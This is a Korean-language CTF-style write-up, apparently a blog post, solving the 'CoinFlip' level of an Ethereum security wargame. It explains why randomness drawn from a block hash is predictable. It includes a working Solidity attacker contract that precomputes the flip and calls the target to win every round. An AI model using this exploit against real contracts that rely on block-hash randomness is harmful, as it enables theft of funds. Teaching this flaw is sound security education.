level 3 : CoinFlip
이제부터 문제가 문제답다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract CoinFlip {
using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() public {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
block의 해시 값을 이용해 난수를 생성하여 도박장을 열어주는 컨트랙트이다. 이길 때 마다 올라가는 consecutiveWins 값을 확인해 10번 연속으로 성공하면 다음 level로 간다. 말 그대로 돈 넣고 돈 먹으면 통과.
이더리움 처음 공부할 때 항상 나오는 난수 생성의 어려움이 이 level의 주제이다. 이 컨트랙트처럼 블록 해시 값으로 난수를 만드는 경우 악의적인 유저가 컨트랙트를 생성하여 답을 미리 계산해 원하는데로 결과를 이끌 수 있다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import './SafeMath.sol';
contract Getcoin {
using SafeMath for uint256;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
bool public checkvar;
function callCoinFlip(address add) public returns (bool) {
bool flipVar = getflip();
(bool check, bytes memory data) = address(add).call(abi.encodeWithSignature("flip(bool)",flipVar));
checkvar = check;
return check;
}
function getflip() public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
return side;
}
}
getflip() : CoinFlip에서 난수 생성하는 코드를 따와 출력하는 함수
callCoinFlip() : call 함수로 CoinFlip을 호출해 coin을 호로록 날먹하는 함수
여기서 checkvar와 같은 public 변수로 call 함수와 같은 내부 동작이 잘 이루어졌는지 확인해주는게 편리하다.
아 그리고 오버플로 공격을 막기 위한 SafeMath를 리믹스에서 사용하려면 home에서 git으로 받아야 한다. solc 버전 마다 다르므로 유의하도록 한다.